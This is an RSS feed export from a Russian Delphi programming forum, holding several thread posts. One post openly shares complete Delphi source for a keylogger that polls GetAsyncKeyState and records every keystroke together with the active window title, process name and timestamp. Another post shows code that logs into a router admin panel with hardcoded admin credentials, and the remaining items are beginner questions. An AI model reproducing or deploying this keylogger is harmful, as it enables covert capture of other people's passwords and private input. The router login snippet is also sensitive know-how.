<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>delfcode</title>
<link>https://delfcode.ru/forum/</link>
<description>delfcode</description>
<lastBuildDate>Wed, 10 Feb 2016 19:01:00 GMT</lastBuildDate>
<generator>uCoz Web-Service</generator>
<item>
<title>Авторизация в админке</title>
<link>https://delfcode.ru/forum/9-1466-1</link>
<pubDate>Wed, 10 Feb 2016 19:01:00 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: нужна помощь!&lt;br /&gt;Автор темы: xXxSh@dowxXx&lt;br /&gt;Автор последнего сообщения: xXxSh@dowxXx&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Приветствую всех, давно не виделись :)&lt;br /&gt;&lt;br /&gt;Поставил я недавно перед собой задачку программным образом подключиться к админке роутера, для начала решил сделать это простыми методами, первое что пришло в голову:&lt;br /&gt;- Telnet&lt;br /&gt;- IdHTTP1 (стандартный компонент)&lt;br /&gt;- WebBrowser1 (стандартный компонент)&lt;br /&gt;&lt;br /&gt;Вариант с использованием Telnet я отбросил сразу так как он слишком топорный, следующее по списку было использовать &quot;IdHTTP1&quot; для коннекта к админке через:&lt;br /&gt;&lt;br /&gt;&lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoiler6Xp5dM&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoiler6Xp5dM&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler6Xp5dM&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler6Xp5dM&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler6Xp5dM&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoiler6Xp5dM&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler6Xp5dM&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler6Xp5dM&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoiler6Xp5dM&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;&lt;br /&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HTTP.Request.Username:=&apos;admin&apos;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HTTP.Request.Password:=&apos;12345&apos;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HTTP.Get(&apos;http&amp;#58;//192.168.1.1:80/&apos;&amp;#41;;&lt;br /&gt;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;br /&gt;&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt;&lt;br /&gt;&lt;br /&gt;но при анализе трафика снифером, оказалось что роутер в ответ постоянно возвращает&lt;br /&gt;&lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoiler0p1f5p&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoiler0p1f5p&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler0p1f5p&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler0p1f5p&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler0p1f5p&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoiler0p1f5p&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler0p1f5p&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler0p1f5p&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoiler0p1f5p&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;&lt;br /&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;&lt;br /&gt;HTTP/1.0 401 Unauthorized.&lt;br /&gt;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;br /&gt;&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt;&lt;br /&gt;&lt;br /&gt;и тут я вспомнил про стандартные скрипты управления роутером и команду авторизации:&lt;br /&gt;&lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoiler6lN4D3&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoiler6lN4D3&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler6lN4D3&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler6lN4D3&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler6lN4D3&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoiler6lN4D3&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler6lN4D3&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler6lN4D3&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoiler6lN4D3&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;&lt;br /&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt;&lt;br /&gt;http&amp;#58;//admin:parol@192.168.1.1/&lt;br /&gt;&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;br /&gt;&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt;&lt;br /&gt;&lt;br /&gt;для простоты эксперимента я воспользовался стандартным компонентом &quot;WebBrowser1&quot;, и впринципе все заработало как нужно, но тут есть один недостаток, дело в том что когда пароль не правильный, или если в нем ошибка, то выскакивает стандартное Windows&apos;кое окно авторизации где нужно вручную ввести логин и пароль, из за этого окна вся дальнейшая работа программы останавливается!&lt;br /&gt;&lt;br /&gt;&lt;!--IMG1--&gt;&lt;a href=&quot;https://delfcode.ru/_fr/14/2452308.jpg&quot; class=&quot;ulightbox&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/14/s2452308.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG1--&gt;&lt;br /&gt;&lt;br /&gt;В интернете искал информацию о том как запретить вывод данного диалогового окна, или как автоматически ответить программе отменой на данное окно, но ничего так и не нашел, может быть кто то сможет подсказать как решить данную проблему?&lt;br /&gt;&lt;br /&gt;PS: прикрепил исходники, может пригодится еще кому.</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>xXxSh@dowxXx</dc:creator>
<guid>https://delfcode.ru/forum/9-1466-1</guid>
</item>
<item>
<title>Исходник кейлоггера</title>
<link>https://delfcode.ru/forum/9-1352-1</link>
<pubDate>Wed, 25 Feb 2015 08:20:40 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: ramzeswr&lt;br /&gt;Автор последнего сообщения: ramzeswr&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>&lt;img src=&quot;http://i.zhyk.ru/images/qRTdo.png&quot; border=&quot;0&quot; alt=&quot;&quot;/&gt; &lt;br /&gt;&lt;br /&gt; Простой пример кейлогера, основан на функции GetAsyncKeyState. &lt;br /&gt; Пишет лог в консоль, также записывает время, имя активного окна и процесс. &lt;br /&gt; Для коректного отображения русских символов в свойствах консоли нужно выбрать шрифт Lucida Console. &lt;br /&gt;&lt;br /&gt; &lt;img src=&quot;http://i.zhyk.ru/images/xBEV.png&quot; border=&quot;0&quot; alt=&quot;&quot;/&gt; &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; program keylogger; &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows, Tlhelp32; &lt;br /&gt;&lt;br /&gt; function IntToStr(i:integer&amp;#41;:string; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;s:string; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Str(i,s&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=s; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; function GetExeNameByProcID (ProcID : DWord&amp;#41; : String; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;ContinueLoop&amp;nbsp;&amp;nbsp;&amp;nbsp;: BOOL; &lt;br /&gt;&amp;nbsp;&amp;nbsp;FSnapshotHandle : THandle; &lt;br /&gt;&amp;nbsp;&amp;nbsp;FProcessEntry32 : TProcessEntry32; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;FSnapshotHandle := CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;FProcessEntry32.dwSize := Sizeof(FProcessEntry32&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;Result := &apos;&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;while (Integer (ContinueLoop&amp;#41; &lt;&gt; 0&amp;#41; and (Result=&apos;&apos;&amp;#41; do &lt;br /&gt;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if FProcessEntry32.th32ProcessID = ProcID then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result := FProcessEntry32.szExeFile; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; function GetWindow: string; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;header:HWND; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;apchar:array&amp;#91;0..254] of char; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;pProcID : DWORD; &lt;br /&gt; begin&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;header:=GetForegroundWindow; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetWindowText(header, apchar, Length(apchar&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetWindowThreadProcessId (header, pProcID&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;result := &apos;&amp;#91;&apos;+apchar+&apos;]&amp;#91;&apos;+GetExeNameByProcID(pProcID&amp;#41;+&apos;]&apos;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; function DateTime: string; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;lt : TSYSTEMTIME; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;st : TSYSTEMTIME; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetLocalTime(lt&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetSystemTime(st&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;result := &apos;&amp;#91;&apos;+(IntToStr(lt.wmonth&amp;#41; + &apos;.&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+ IntToStr(lt.wDay&amp;#41; +&amp;nbsp;&amp;nbsp;&apos;.&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+ IntToStr(lt.wYear&amp;#41; + &apos; &apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+ IntToStr(lt.wHour&amp;#41; +&amp;nbsp;&amp;nbsp;&apos;:&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+ IntToStr(lt.wMinute&amp;#41; +&amp;nbsp;&amp;nbsp;&apos;:&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;+ IntToStr(lt.wSecond&amp;#41;&amp;#41;+ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&apos;]&apos;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; function IsKeyPressed(KeyCode: Integer&amp;#41;: Boolean; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;result := (Windows.GetAsyncKeyState(KeyCode&amp;#41; and $8001&amp;#41; = $8001; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; VAR &lt;br /&gt;&amp;nbsp;&amp;nbsp;VirtKey&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: UINT; &lt;br /&gt;&amp;nbsp;&amp;nbsp;ScanCode&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: UINT; &lt;br /&gt;&amp;nbsp;&amp;nbsp;UniEx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: Integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;keyboardLayout : HKL; &lt;br /&gt;&amp;nbsp;&amp;nbsp;keyboardSpeed&amp;nbsp;&amp;nbsp;: Integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;keyboardState&amp;nbsp;&amp;nbsp;: TKeyboardState; &lt;br /&gt;&amp;nbsp;&amp;nbsp;strBuffer&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: String; &lt;br /&gt;&amp;nbsp;&amp;nbsp;UnicodeChar&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: array&amp;#91;0..1] of WChar; &lt;br /&gt;&amp;nbsp;&amp;nbsp;strkeyname&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: Array&amp;#91;0..32] of Char; &lt;br /&gt;&amp;nbsp;&amp;nbsp;dwThread&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;dwProcess&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;dwHandle&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: HWND; &lt;br /&gt;&amp;nbsp;&amp;nbsp;win, lastwin&amp;nbsp;&amp;nbsp;&amp;nbsp;: string; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;AllocConsole; &lt;br /&gt;&amp;nbsp;&amp;nbsp;SetConsoleCP(1251&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;SetConsoleOutputCp(1251&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;Windows.SystemParametersInfo(Windows.SPI_GETKEYBOARDSPEED, 0, @keyboardSpeed, 0&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;WHILE true DO &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;BEGIN &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;win := GetWindow(&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;If&amp;nbsp;&amp;nbsp;(win &lt;&gt; lastwin&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lastwin := win; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Writeln(#13#10#13#10+DateTime+win&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows.GetKeyState(VK_CAPITAL&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows.GetKeyboardState(keyboardState&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwHandle:= Windows.GetForegroundWindow(&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwThread:= Windows.GetWindowThreadProcessId(dwHandle,@dwProcess&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;keyboardLayout:= Windows.GetKeyboardLayout(dwThread&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FOR VirtKey := 0 TO $FF DO &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IF IsKeyPressed(VirtKey&amp;#41; THEN &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BEGIN &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ScanCode := MapVirtualKeyEx(VirtKey, 0, keyboardLayout&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetKeyNameTextA(ScanCode SHL 16,strkeyname,sizeof(strkeyname&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IF lstrlenA(strkeyname&amp;#41; &gt; 1 THEN &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BEGIN &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IF VirtKey = VK_SPACE&amp;nbsp;&amp;nbsp;THEN strkeyname := &apos; &apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IF VirtKey = VK_RETURN THEN strkeyname := #13#10; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(strkeyname&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Continue; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;END; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;UniEx := ToUnicodeEx(VirtKey, ScanCode, @keyboardState, @UnicodeChar, 2, 0, keyboardLayout&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strBuffer := UnicodeChar; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SetLength(strBuffer,UniEx&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(strBuffer&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;END; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sleep(keyboardSpeed DIV 4&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;END; &lt;br /&gt;&lt;br /&gt; end. &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>ramzeswr</dc:creator>
<guid>https://delfcode.ru/forum/9-1352-1</guid>
</item>
<item>
<title>Программа бот для сеоспринта?</title>
<link>https://delfcode.ru/forum/9-987-1</link>
<pubDate>Mon, 15 Dec 2014 14:23:54 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: ??=)&lt;br /&gt;Автор темы: Michael_Troshin&lt;br /&gt;Автор последнего сообщения: akatew&lt;br /&gt;Количество ответов: 4</description>
<content:encoded>Реально ли написать такой бот на делфи? Нет исходников?</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>Michael_Troshin</dc:creator>
<guid>https://delfcode.ru/forum/9-987-1</guid>
</item>
<item>
<title>If then выполнить код из 20-ти строк</title>
<link>https://delfcode.ru/forum/9-1303-1</link>
<pubDate>Mon, 20 Oct 2014 12:28:52 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: If then выполнить код из 20-ти строк&lt;br /&gt;Автор темы: MAS&lt;br /&gt;Автор последнего сообщения: MAS&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>Привет, как можно это сделать? &lt;br /&gt; if FileExists(&apos;C:&amp;#92;12.txt&apos;) then &lt;br /&gt; и выполнить код из 20-ти или более строк, с разными функциями</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>MAS</dc:creator>
<guid>https://delfcode.ru/forum/9-1303-1</guid>
</item>
<item>
<title>Определить наличие текста в html файле и выполнить код</title>
<link>https://delfcode.ru/forum/9-1302-1</link>
<pubDate>Sat, 18 Oct 2014 10:43:51 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: MAS&lt;br /&gt;Автор последнего сообщения: Волк-1024&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>Привет, программу в console application пытаюсь написать, которая должна работать так: &lt;br /&gt; 1) Ищет определенный текст в html файле, например текст delfcode (html файл находится например тут 123.ru/1.html) &lt;br /&gt; 2) Если текст найден, то выполняем код любой. &lt;br /&gt; В программе с формой знаю как, а в программе без формы не знаю как, и возможно ли это</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>MAS</dc:creator>
<guid>https://delfcode.ru/forum/9-1302-1</guid>
</item>
<item>
<title>Запуск скриптов из Делфи</title>
<link>https://delfcode.ru/forum/9-679-1</link>
<pubDate>Sun, 03 Aug 2014 17:05:12 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: AutoHotkey Script&lt;br /&gt;Автор темы: xXxSh@dowxXx&lt;br /&gt;Автор последнего сообщения: True_Hacker&lt;br /&gt;Количество ответов: 6</description>
